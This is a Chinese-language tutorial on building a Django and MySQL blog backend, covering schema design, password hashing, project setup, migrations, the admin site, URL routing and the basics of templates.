Python: Djiango-Web后端框架-前后端分离博客项目

数据库模型设计

分析

多人使用博客系统。采用BS架构实现。市面上多数某某系统归根结底都是这种设计。

博客系统,核心模块有:

  1. 用户管理
    • 注册、登录
    • 删除查用户
  2. 博文管理
    • 增删改查博文

需要数据库,本次使用Mysql8+, InnoDB引擎。

需要支持多用户登录,各自可以管理自己的博文(增删改查),管理是不公开的,但是博文是不需要登录就可以公开预览的。

先不要思考过多的功能,先完成最小的核心需求代码。

数据库设计

创建数据库

CREATE DATABASE IF NOT EXISTS `blog` DEFAULT CHARACTER SET utf8mb4;

需要用户表、文章表

用户表user

字段 说明
id 主键,唯一标识
username 登录名,唯一
name 用户姓名,描述性字段
email 电子邮箱,注册用信息,应该唯一。可用作登录名、可用于密码找回
password 密码存储。注意,不能明文存储密码。一般采用单向加密算法,如MD5
use blog

CREATE TABLE `user` (
    `id` INT ( 11 ) NOT NULL AUTO_INCREMENT,
    `name` VARCHAR ( 48 ) NOT NULL,
    `email` VARCHAR ( 64 ) NOT NULL,
    `password` VARCHAR ( 128 ) NOT NULL,
    PRIMARY KEY ( `id` ),
UNIQUE KEY `email` ( `email` )
) ENGINE = INNODB DEFAULT CHARSET = utf8;
密码算法

密码一般采用单向散列算法,算法保证不可逆。

  • MD5(Message Digest Algorithm 5): 输出128位数值。被广泛采用,但已经极度不安全,不建议采用
  • SHA(Secure Hash Algorithm): 较新算法
    • 由于SHA-0, SHA-1相继被王小云教授破解
    • SHA-2包含SHA-224, SHA-256, SHA-384, SHA-512
    • SHA3于2012年由非NSA设计,内部算法设计不同SHA-1和SHA-2
from hashlib import md5, sha1, sha256, sha512, sha3_256, sha3_512

has = (md5, sha1, sha256, sha512, sha3_256, sha3_512)

print(md5(b'abc').hexdigest()) # 输出 'abc' 的 MD5 哈希(十六进制)
print(md5(b'abd').hexdigest())

s = b'abc'
for h in has:
    o = h(s)
    y = o.digest()
    x = o.hexdigest() 
    print(s,h)
    print(x, len(x), y, len(y))
    print('-'*30)
    #digest():返回原始字节(bytes 对象),长度由算法决定(如 MD5=16 字节,SHA256=32 字节)。
    #hexdigest():返回十六进制字符串,长度是原始字节长度的 2 倍。

系统表auth_user

在Django中也可以使用内建的用户系统,它提供了用户、用户组、权限表。

CREATE TABLE `auth_user` (
  `id` INT (11) NOT NULL AUTO_INCREMENT,
  `PASSWORD` VARCHAR (128) NOT NULL,
  `last_login` DATETIME (6) DEFAULT NULL,
  `is_superuser` TINYINT (1) NOT NULL,
  `username` VARCHAR (150) NOT NULL,
  `first_name` VARCHAR (30) NOT NULL,
  `last_name` VARCHAR (150) NOT NULL,
  `email` VARCHAR (254) NOT NULL,
  `is_staff` TINYINT (1) NOT NULL,
  `is_active` TINYINT (1) NOT NULL,
  `date_joined` DATETIME (6) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE = InnoDB AUTO_INCREMENT = 2_DEFAULTCHARSET = utf8mb4;

这个表唯一的问题就是email并没有设定唯一键,可以迁移后,修改表手动增加。

模型类只要不用来迁移,它就是用来创建实例的类,从数据库查来的数据放在这个实例中。

模型类和数据库不一定需要一一对应。

一般是自己创建user表,不推荐使用内建的表。

文章表post

字段 说明
id 主键,唯一标识
title 标题,描述性字段
author 博文作者要求必须是注册用户,这个字段应该存储userid
postdate 发布日期,日期类型
content 文章内容,博文内容可能很长,一般来说不会小于256个字符的

一对多关系:一篇博文属于一个作者,一个作者有多篇博文。

Content字段的设计

  1. 博客内容选取什么字段类型?
  2. 多大合适?
  3. 博文图片如何处理?
  4. 适合和其它字段放在同一张表吗?

答:

  1. 字段类型 :博文一般很长,不可能只有几百个字符,需要大文本字段。MySQL中,选择TEXT类型,而不是char或者varchar类型。
  2. 大小 :text类型是65535个字符,如果不够用,选择longtext,有\(2^{32}-1\)个字符长度。足够使用了。
  3. 图片存储 :博文就像HTML一样,图片是通过 路径信息 将图片是嵌入在内容中的,所以保存的内容还是字符串。图片来源有2中:
    • 外联:通过URL链接访问,本站不用存储该图片,但容易引起盗链问题。
    • 本站存储:需要提供博文的在线文本编辑器,提供图片上传到网站存储,并生成图片URL,这个URL嵌入博客正文中,不会有盗链问题,但要解决众多图片存储问题、水印问题、在线压缩问题、临时或垃圾图片清理等等难题。
    • 本博客项目不实现图片功能
  4. 字段考虑
    • content字段存储文本类型大字段,一般不和数据频繁查询的字段放在一张表中,需要拆到另一张表中。
CREATE TABLE `post` (
    `id` BIGINT ( 20 ) UNSIGNED NOT NULL AUTO_INCREMENT,
    `title` VARCHAR ( 256 ) NOT NULL,
    `author_id` INT ( 11 ) NOT NULL,
    `postdate` datetime NOT NULL,
    PRIMARY KEY ( `id` ),
    KEY `author_id` ( `author_id` ),
CONSTRAINT `fk_post_user` FOREIGN KEY ( `author_id` ) REFERENCES `user` ( `id` ) 
) ENGINE = INNODB DEFAULT CHARSET = utf8;
CREATE TABLE `content` (
    `id` BIGINT ( 20 ) UNSIGNED NOT NULL,
    `content` text NOT NULL,
    PRIMARY KEY ( `id` ) USING BTREE,
CONSTRAINT `fk_content_post` FOREIGN KEY ( `id` ) REFERENCES `post` ( `id` ) 
) ENGINE = INNODB DEFAULT CHARSET = utf8;

注:这里的SQL脚本本次不要用来生成表,使用ORM库写代码来创建表,用来检查实体类构建是否正确。

用户完成的功能有登录、注册、登出等,auth_user表基本满足。

博客功能有用户发文、文章列表、文章详情等,post、content表基本满足。

项目

项目构建

  • 在Pycharm中创建一个项目,使用虚拟环境,Python使用版本是3.13.3
  • 使用虚拟环境,Python挑选喜欢的版本(本次选用3.13.3)
  • 注:Pycharm中可通过setting重新设置虚拟环境。
  • 本次项目使用Django开发后台。

项目构建和基础知识

概述

Django采用MVC架构设计的开源的WEB快速开发框架。

优点:

  1. MVC设计模式
  2. 能够快速开发,自带ORM、Template、Form、Auth核心组件
  3. 简洁的url设计
  4. 实用的管理后台Admin
  5. 周边插件丰富

缺点:架构重、同步阻塞

所有Django的设计目标就是一款大而全,便于企业快速开发项目的框架,因此企业应用较广。

安装Django

Python版本依赖,参看

Django version Python versions
4.2 3.8, 3.9, 3.10, 3.11, 3.12 (added in 4.2.8)
5.0 3.10, 3.11, 3.12
5.1 3.10, 3.11, 3.12, 3.13 (added in 5.1.3)
5.2 3.10, 3.11, 3.12, 3.13
mkdir blog10
cd blog10

#安装python虚拟环境, 并启动
python -m venv .venv
.\.venv\Scripts\activate

备注 在 Microsoft Windows 上,为了启用 Activate.ps1 脚本,可能需要修改用户的执行策略。可以运行以下 PowerShell 命令来执行此操作:
PS C:\> Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
.venv\Scripts\Activate.ps1

#在虚拟环境中安装
python -m pip install Django==5.2.4
django-admin --version #查看当前django版本
django-admin --help #查看使用帮助
django-admin startproject --help #查看startproject命令帮助

注意:本文若未特殊声明,所有的命令操作都在项目的根目录下

创建Django项目

当前目录下,创建名为blog的django项目

django-admin startproject blog .

上句命令就在当前项目根目录中构建了Django项目的初始文件。 . 点代表项目根目录。

D:\PROJECT\PYPROJS\TRAE\BLOG10\USER
├─ manage.py
 └─ blog
     ├─  settings.py
     ├─  urls.py  #路径映射
     ├─  wsgi.py
     ├─  asgi.py
     └─  __init__.py

重要文件说明

  1. manage.py: 本项目管理的命令行工具。应用创建、数据库迁移等都使用它完成
  2. blog/settings.py: 本项目的核心配置文件。
    • 应用、数据库配置
    • 模板、静态文件
    • 中间件、日志
    • 第三方插件配置
  3. blog/urls.py: URL路径映射配置。项目初始,只配置了/admin的路由。
  4. blog/wsgi:定义WSGI接口信息。部署用,一般无需改动。
    • return WSGIHandler()
      • __call__(self, environ, start_response)

主路由文件url.py

from django.contrib import admin
from django.urls import path

urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
]

数据库配置

使用数据库,需要修改默认的数据库配置。

在主项目的settings.py下DATABASES。默认使用的sqlite,修改为mysql。

https://docs.djangoproject.com/en/5.2/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'blog',
        'USER': 'root',
        'PASSWORD': '123456',
        'HOST': '10.0.0.152',
        'PORT': '3306',
    }
}
配置项 说明
HOST 数据库主机。缺省是空字符串,代表localhost。如果是=/=开头表示使用UnixSocket链接
POST 端口
USER 用户名
PASSWORD 密码
NAME 库名
OPTIONS 选项、字典类型,参考MySQL文档
  1. 数据库引擎ENGINE
  2. 内建引擎有
    • django.db.backends.postgresql
    • django.db.backends.mysql
    • django.db.backends.sqlite3
    • django.db.backends.oracle

MySQL数据库驱动

https://docs.djangoproject.com/en/5.2/ref/databases/#mysql-db-api-drivers

Django支持MySQL8+

Django官方推荐使用本地驱动mysqlclient 1.4.3+

#安装mysql驱动
pip install mysqlclient

Linux、Mac请参照官网安装依赖库

创建应用

创建用户应用

python manage.py startapp user

创建应用后,项目根目录下产生一个user目录,有如下文件:

  1. admin.py: 应用后台管理声明文件
  2. models.py: 模型层Model类定义
  3. views.py: 定义URL响应函数或类
  4. migrations包: 数据迁移文件生成目录
  5. apps.py: 应用的信息定义文件
D:\PROJECT\PYPROJS\TRAE\BLOG10\USER
│  admin.py    # 应用后台管理声明文件
│  apps.py     # 应用的信息定义文件
│  models.py   # 模型层Model类定义
│  tests.py
│  views.py    # 定义URL响应函数或类
│  __init__.py
│
└─migrations   # 数据迁移文件生成目录
        __init__.py

user应用创建后应该完成以下功能:

  1. 用户注册
  2. 用户登录

注册应用

在settings.py中,增加user应用。目的是为了 后台管理 admin使用,或 迁移 migrate使用

#settings.py文件中
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'user',
]

本次user应用使用内建的表auth_user,所以不用注册user表。删除post表外键和user表。

ALTER TABLE `blog`.`post` DROP FOREIGN KEY `fk_post_user`
DROP TABLE IF EXISTS `blog`.`user`;

迁移

Django内部也有应用,它们需要表。这些表的迁移文件已经生成了,只需要迁移。

#python manage.py makemigrations #可以做,但做了也白做。user 下面还没有modes类。INSTALLED_APPS中user上面的类django已经写好了
python manage.py migrate
(.venv) PS D:\project\pyprojs\trae\blog10> python manage.py makemigrations
No changes detected
(.venv) PS D:\project\pyprojs\trae\blog10> python manage.py migrate
Operations to perform:
  Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
  Applying contenttypes.0001_initial... OK
  Applying auth.0001_initial... OK
  Applying admin.0001_initial... OK
  Applying admin.0002_logentry_remove_auto_add... OK
  Applying admin.0003_logentry_add_action_flag_choices... OK
  Applying contenttypes.0002_remove_content_type_name... OK
  Applying auth.0002_alter_permission_name_max_length... OK
  Applying auth.0003_alter_user_email_max_length... OK
  Applying auth.0004_alter_user_username_opts... OK
  Applying auth.0005_alter_user_last_login_null... OK
  Applying auth.0006_require_contenttypes_0002... OK
  Applying auth.0007_alter_validators_add_error_messages... OK
  Applying auth.0008_alter_user_username_max_length... OK
  Applying auth.0009_alter_user_last_name_max_length... OK
  Applying auth.0010_alter_group_name_max_length... OK
  Applying auth.0011_update_proxy_permissions... OK
  Applying auth.0012_alter_user_first_name_max_length... OK
  Applying sessions.0001_initial... OK

迁移后,产生下面这些表:

mysql> show tables ;
+----------------------------+
| Tables_in_blog             |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| content                    |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
| post                       |
+----------------------------+

创建post表指向auth_user表的外键

ALTER TABLE `blog`.`post` 
ADD CONSTRAINT `post_ibfk_1` FOREIGN KEY (`author_id`) REFERENCES `blog`.`auth_user` (`id`);

auth_user表结构

CREATE TABLE `blog`.`auth_user`  (
  `id` int NOT NULL AUTO_INCREMENT,
  `password` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `last_login` datetime(6) NULL DEFAULT NULL,
  `is_superuser` tinyint(1) NOT NULL,
  `username` varchar(150) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `first_name` varchar(150) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `last_name` varchar(150) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `email` varchar(254) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `is_staff` tinyint(1) NOT NULL,
  `is_active` tinyint(1) NOT NULL,
  `date_joined` datetime(6) NOT NULL,
  PRIMARY KEY (`id`) USING BTREE,
  UNIQUE INDEX `username`(`username` ASC) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;

如果使用自建use表

模型Model

  • 字段类型

官方文档

字段类 说明
AutoField 自增的整数字段。如果不指定,django会为模型类自动增加主键字段
BooleanField 布尔值字段,True和False。对应表单控件CheckboxInput
NullBooleanField 比BooleanField多一个null值
CharField 字符串,max_length设定字符长度。对应表单控件TextInput
TextField 大文本字段,一般超过4000个字符使用。对应表单控件Textarea
IntegerField 整数字段, 一般4字节
BigIntegerField 更大整数字段,8字节
DecimalField 使用Python的Decimal实例表示十进制浮点数。max_digits总位数,decimal_places小数点后的位数
FloatField Python的Float实例表示的浮点数
DateField 使用Python的datetime.date实例表示的日期
  auto_now=False每次修改对象自动设置为当前时间。
  auto_now_add=False对象第一次创建时自动设置为当前时间。
  auto_now_add、auto_now、default互斥。
  对应控件为TextInput,关联了一个Js编写的日历控件
TimeField 使用Python的datetime.time实例表示的时间,参数同上
DateTimeField 使用Python的datetime.datetime实例表示的时间,参数同上
FileField 一个上传文件的字段
ImageField 继承了FileField的所有属性和方法,但是对上传的文件进行校验,确保是一个有效的图片
EmailField 能做Email检验,基于CharField,默认max_length=254
GenericIPAddressField 支持IPv4、IPv6检验,缺省对应文本框输入
URLField 能做URL检验,基于基于CharField,默认max_length=200
  • 缺省主键
    1. 缺省情况下,Django的每一个Model都有一个名为id的AutoField字段,如下
      • id = models.AutoField(primary_key=True)
    2. 如果显示定义了主键,这种缺省主键就不会被创建了。Python之禅中说“显示优于隐试”,所以,尽量使用自己定义的主键,哪怕该字段名就是id,也是一种不错的选择。
  • 字段选项

官方文档

说明
db_column 表中字段的名称。如果未指定,则使用属性名
primary_key 是否主键
unique 是否是唯一键
default 缺省值。这个缺省值不是数据库字段的缺省值,而是新对象产生的时候被填入的缺省值
null 表的字段是否可为null,默认为False
blank Django表单验证中,如果True,则允许该字段为空。默认为False
db_index 字段是否有索引
to_field 关联对象的字段。默认情况下,Django 使用相关对象的主键。如果你引用了一个不同的字段,这个字段必须有 unique=True

关系类型字段类

说明
ForeignKey 外键,表示一对多
  ForeignKey('production.Manufacturer')
  自关联ForeignKey('self')
ManyToManyField 表示多对多
OneToOneField 表示一对一

一对多时,自动创建会增加_id后缀。

  • 从一访问多,使用 对象.小写模型类_set
  • 从一访问一,使用 对象.小写模型类

访问id 对象.属性_id

创建User的Model类

  • 基类models.Model
  • 表名不指定默认使用 <appname>_<model_name> 。使用Meta类修改表名
#/user/models.py文件
from django.db import models

# user表模型
class User(models.Model):
    class Meta:
        db_table = "user"
    id = models.AutoField(primary_key=True)
    name = models.CharField(max_length=48,null=False)
    email = models.CharField(max_length=64,unique=True,null=False)
    password = models.CharField(max_length=128,null=False)

    def __repr__(self):
        return "<user {} {}>".format(self.id,self.name)

    __str__ = __repr__

Meta类的使用,参考https://docs.djangoproject.com/en/1.11/ref/models/options/#django.db.models.Options.db_table

  1. 迁移Migration
    • 迁移:从模型定义生成数据库的表
  1. 生成迁移文件。执行 python manage.py makemigrations

    (venv) D:\MyPythonUse\DjangoWeb>python manage.py makemigrations
    Migrations for 'user':
    user\migrations\0001_initial.py
        - Create model User
    
    生成如下文件
    user
    ├─ migrations
        ├─  0001_initial.py
        └─  __init__.py
    
    • 修改MOdel类,还需要调用 python manage.py makemigrations ,然后migrate,迁移文件的序号会增加。
    • 注意:
      1. 迁移的应用必须在settings.py的INSTALLED_APPS中注册。
      2. 不要谁便删除这些迁移文件,因为后面的改动都是要依据这些迁移文件的。
    • 生成的迁移文件0001_initial.py内容如下:
    from django.db import migrations, models
    
    
    class Migration(migrations.Migration):
    
        initial = True
    
        dependencies = [
        ]
    
        operations = [
            migrations.CreateModel(
                name='User',
                fields=[
                    ('id', models.AutoField(primary_key=True, serialize=False)),
                    ('name', models.CharField(max_length=48)),
                    ('email', models.CharField(max_length=64, unique=True)),
                    ('password', models.CharField(max_length=128)),
                ],
                options={
                    'db_table': 'user',
                },
            ),
        ]
    
  2. 执行迁移生成数据库的表 python manage.py migrate
    • 执行了迁移,还同时生成了admin管理用的表。
    • 查看数据库,user表创建好了,字段设置完全正确。

Django后台管理

1、 创建管理员

命令

python manage.py createsuperuser
#管理会用户名admin 密码adminadmin

范例

python manage.py createsuperuser

Username: admin
Email address: [email protected]
Password: 
Password (again): 
The password is too similar to the email address.

会在auth_user表中创建admin用户

mysql> select username,password from auth_user;
| admin    | pbkdf2_sha256$1000000$Jxxxxx$xxxxxxxxxxxxxxxxxx= |

2、 本地化

settings.py中可以设置语言、时区。语言名称可以查看=django\contrib\admin\locale=目录

# 修改blog/settings.py文件中对应变量
LANGUAGE_CODE = 'en-us' #'zh-Hans' 
TIME_ZONE = 'Asia/Shanghai' # 'UTC'
USE_TZ = True

3、 启动WEB Server

python manage.py runserver #默认 127.0.0.1:8000
#python manage.py runserver 0.0.0.0:8000

访问http://127.0.0.1:8000/ 看到服务启动正常

访问http://127.0.0.1:8000/admin/ 可以登录后台管理界面

  • 注意:用户名密码为之前第一步创建管理员时设定的
  • 用户名:admin 密码:adminadmin
  • 可以在页面创建普通用户

4、 注册应用模块

注册后user可以被管理员用户在web界面进行增删改操作

登录后如果希望后来能够管理这些表,就需要在admin文件中注册对应的models

举例, 这里我们不写这些代码

#models.py
from django.db import models

# Create your models here.
class Post(models.Model):
    class meta:
        db_table="a"
    pass

#在admin.py文件中注册
from django.contrib import admin

# Register your models here.
from .models import Post
admin.site.register(Post)

登录成功后,可以看到注册的表了。

路由(重要)

路由功能就是实现URL模式匹配和处理函数之间的映射。

路由配置要在项目的urls.py中配置,也可以多级配置,在每一个应用中,建立一个urls.py文件配置路由映射。

官方文档:

  • URL调度器: https://docs.djangoproject.com/zh-hans/5.2/topics/http/urls/
  • path函数: https://docs.djangoproject.com/en/5.2/ref/urls/#django.urls.path
  • url函数(Django 2.x之前)
    • url(regex,view,kwargs=None,name=None) 进行模式匹配
      1. regex: 正则表达式,与之匹配的URL会执行对应的第二个参数view
      2. view: 用于执行与正则表达式匹配的URL请求
      3. kwargs: 视图使用的字典类型的参数
      4. name: 用来反向获取URL
  • path函数(2.x+)
    • path(route, view, kwargs=None, name=None)
      • 对URL进行模式匹配
      • 可以使用尖括号来捕获部分URL成分。一旦使用了尖括号提取成分,每一个成分都会变成一个 实参
      • 注入 到视图函数中,视图函数必须增加形参接收
      • 形参函数基本同url函数

还有一个re_path函数(2.x+)可以使用正则表达式,本质上就是url函数。

urls.py 内容如下

from django.contrib import admin
from django.urls import path
from django.urls import re_path
from django.http import HttpResponse,HttpRequest

def index(request:HttpRequest):
    """视图函数:请求进来返回响应"""
    res = HttpResponse(b"Hello word xdd")
    print(res.charset) #utf-8
    return res

def test(request, username, id):
    print(type(username), type(id))
    return HttpResponse(
        'hello test page.username={}:{}, id={}:{}'.format(
            username, type(username).__name__, id, type(id).__name__
        ))

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', index),
    #path('index', index) # index可以匹配;index/不能匹配
    path('index/', index), # index index/ 都可以匹配;index/a不能匹配
    path('test/<username>/<int:id>', test)  # /test/tom/2 实参注入
]

def test(request, *args, **kwargs) ,那么数据将收集在kwargs中。

注意,在url.py中写视频函数不好,这里仅为了测试。

请求信息测试和JSON响应

from django.http import HttpResponse,HttpRequest,JsonResponse

# http://localhost:8000/?a=100&b=abc
def index(request:HttpRequest):
    """视图函数:请求进来返回响应"""
    print(request.GET) # 查询字符串?a=100&b=abc
    print(request.POST)
    print(request.session)
    print(request.COOKIES)
    print('-' * 30)
    keys = ('method', 'path_info', 'GET', 'POST') # 重要属性
    items = dict((k, getattr(request, k)) for k in keys)
    return JsonResponse(items)
  • 在项目中首页数使用HTML显示,为了加载速度快,一般多使用静态页面。如果首页内容多,还有部分数据需要变化,将变化部分使用AJAX技术从后台获取数据。
  • 本次,为了学习模板技术,只将首页采用Django的模板技术实现。

范例

from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest
# HttpRequest是父类;WSGIRequest是子类

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:HttpRequest):
    print('-'*30)
    print(request)
    print(request.path_info)
    print('-'*30)
    # response = HttpResponse('这是首页', charset='gbk') # makebytes() 编码? ; charset='utf-8'; DEFAULT_CHARSET 在settings中全局配置
    response = HttpResponse('这是首页')
    print(response.charset)
    return response

# 不同url path 和不同的函数之间的对应关系,不管什么函数执行,最终都应该返回返回值(准备返回的内容)
# 路径匹配:完全匹配、模式匹配
urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
]
# /index => server 端,分析url,返回一个新路径301 location /index/
# path route定义不以/结尾,往往代表就是 ^index$
from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.core.handlers.wsgi import WSGIRequest
# HttpRequest是父类;WSGIRequest是子类

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:WSGIRequest):
    print('-'*30)
    print(request)
    print(request.path_info)
    print(request.GET) # query string 查询字符串的封装 MultiValueDict 爱好 interest=music&interest=movie
    print(request.POST) # QueryDict MultiValueDict request body
    print(request.COOKIES)
    print(request.session) # session
    print('-'*30)

    keys = ('GET', "POST", 'COOKIES', 'path', 'method')
    # # response = HttpResponse('这是首页', charset='gbk') # makebytes() 编码? ; charset='utf-8'; DEFAULT_CHARSET 在settings中全局配置
    # response = HttpResponse('这是首页')
    # print(response.charset)
    response = JsonResponse(
        dict(map(lambda k: (k, getattr(request, k)), keys))
    )
    return response

def test(request, clz, uid):
    print('='*30)
    # print(request.path)
    print(clz, uid, type(clz), type(uid))
    print('='*30)
    return HttpResponse('abc~~~~')

# 不同url path 和不同的函数之间的对应关系,不管什么函数执行,最终都应该返回返回值(准备返回的内容)
# 路径匹配:完全匹配、模式匹配
urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
    path('test/<clz>/<int:uid>', test),
]
# /index => server 端,分析url,返回一个新路径301 location /index/
# path route定义不以/结尾,往往代表就是 ^index$;以/结尾,可能还有子目录、子文件
浏览器请求  http://localhost:8000/index/?id=1&interest=music&interest=movie

#Django执行结果
------------------------------
<WSGIRequest: GET '/index/?id=1&interest=music&interest=movie'>
/index/
<QueryDict: {'id': ['1'], 'interest': ['music', 'movie']}> #多值字典
<QueryDict: {}>
{}
<django.contrib.sessions.backends.db.SessionStore object at 0x000002383B0041A0>
------------------------------
[03/Jun/2025 11:53:47] "GET /index/?id=1&interest=music&interest=movie HTTP/1.1" 200 104
浏览器请求 http://localhost:8000/test/tt/123

#Django执行结果
==============================
tt 123 <class 'str'> <class 'int'>
==============================
[03/Jun/2025 12:00:29] "GET /test/tt/123 HTTP/1.1" 200 7

Django模板技术

如果使用react实现前端页面,其实Django就没有必须使用模板,它其实就是一个纯后台服务程序,接收请求,响应数据,前端接口设计就可以是纯粹的Restful风格。

模板的目的就是为了可视化,将数据按照一定布局格式输出,而不是为了数据处理,所以一般不会有复杂的处理逻辑。模板的引入实现了业务逻辑和显示格式的分离。这样,在开发中,就可以分工协作,页面开发完成页面布局设计,后台开发完成数据处理逻辑实现。

  • Python的模板引擎默认使用Django template language(DTL)构建

官方文档:https://docs.djangoproject.com/en/5.2/#the-template-layer

由来

# 本质上都要一个字符串,也就是说只能给HttpResponse构造函数提供内容字符串就可以了
response = HttpResponse('<html><body><h1 style="color:red">{}</h1><div>{}</div></body></html>'.format(title, content))
from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.core.handlers.wsgi import WSGIRequest
# HttpRequest是父类;WSGIRequest是子类

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:WSGIRequest):
    title = '标题测试'
    content = '这是内容'
    # 响应报文正文部分的字符串可以动态生成,也可以从文件中读取
    # 本质上都要一个字符串,也就是说只能给HttpResponse构造函数提供内容字符串就可以了
    # 动态生成就是在内存生成一个待返回给浏览器端的HTML的字符串
    response = HttpResponse('<html><body><h1 style="color:red">{}</h1><div>{}</div></body></html>'.format(title, content))
    return response

urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
]

创建文件 user/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>首页测试文件</title>
</head>
<body>
{content} <br> {p1} {p2}
{p1}
</body>
</html>
from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.core.handlers.wsgi import WSGIRequest
# HttpRequest是父类;WSGIRequest是子类

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:WSGIRequest):
    title = '标题测试'
    content = '这是内容'
    # 响应报文正文部分的字符串可以动态生成,也可以从文件中读取
    # 本质上都要一个字符串,也就是说只能给HttpResponse构造函数提供内容字符串就可以了
    # 动态生成就是在内存生成一个待返回给浏览器端的HTML的字符串
    with open(r'D:\project\pyproj\trae\blog10\user\index.html', encoding='utf-8') as f:
        txt = f.read()
        txt = txt.format(content=content, p1=123, p2='xyz')
        print(txt)
    response = HttpResponse(txt)
    return response

urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
]

封装成字典

from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.core.handlers.wsgi import WSGIRequest
# HttpRequest是父类;WSGIRequest是子类

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:WSGIRequest):
    title = '标题测试'

    # 响应报文正文部分的字符串可以动态生成,也可以从文件中读取
    # 本质上都要一个字符串,也就是说只能给HttpResponse构造函数提供内容字符串就可以了
    # 动态生成就是在内存生成一个待返回给浏览器端的HTML的字符串
    context = {
        'title': title,
        'content': '这是正文内容',
        'p1': 123,
        'p2': 'xyz'
    }
    with open(r'D:\project\pyproj\trae\blog10\user\index.html', encoding='utf-8') as f:
        txt = f.read()
        txt = txt.format(**context) # 这就是模板原理
        print(txt)
    response = HttpResponse(txt)
    return response
    # 所谓的模板技术,本质上就是读取相应文件,找到填空语法,用内容将填空语法替换完之后
    # 生成一个大字符串,将大字符串交给Response对象变成正文,把正文再返回给浏览器端

urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
]

模板配置

在blog/settings.py中,设置模板项目的路径

#BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) #这句话取项目根目录
BASE_DIR = Path(__file__).resolve().parent.parent
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        # 'DIRS': [os.path.abspath(os.path.join(BASE_DIR,'templates'))], #制定模板文件夹路径
        'DIRS': [Path(BASE_DIR,'templates')], #制定模板文件夹路径
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
  • DIRS: 列表,定义模板文件的搜索路径顺序。os.path.join(BASE_DIR,'templates')即项目根目录下templates目录,请构建这个目录。
    1. 项目根目录中构建templates文件夹。模板文件目录
  • APP_DIRS: 是否运行在每个已经安装的应用中查找模板。应用自己目录下游templates目录,例如: django/contrilb/admin/templates 。如果应用需要可分离、可重用,建议吧模板放到应用目录下
  • BASE_DIR: 是项目根目录, os.path.join(BASE_DIR,'templates') 就是在manage.py这一层建立一个目录templates。这个路径就是以后默认找模板的地方。

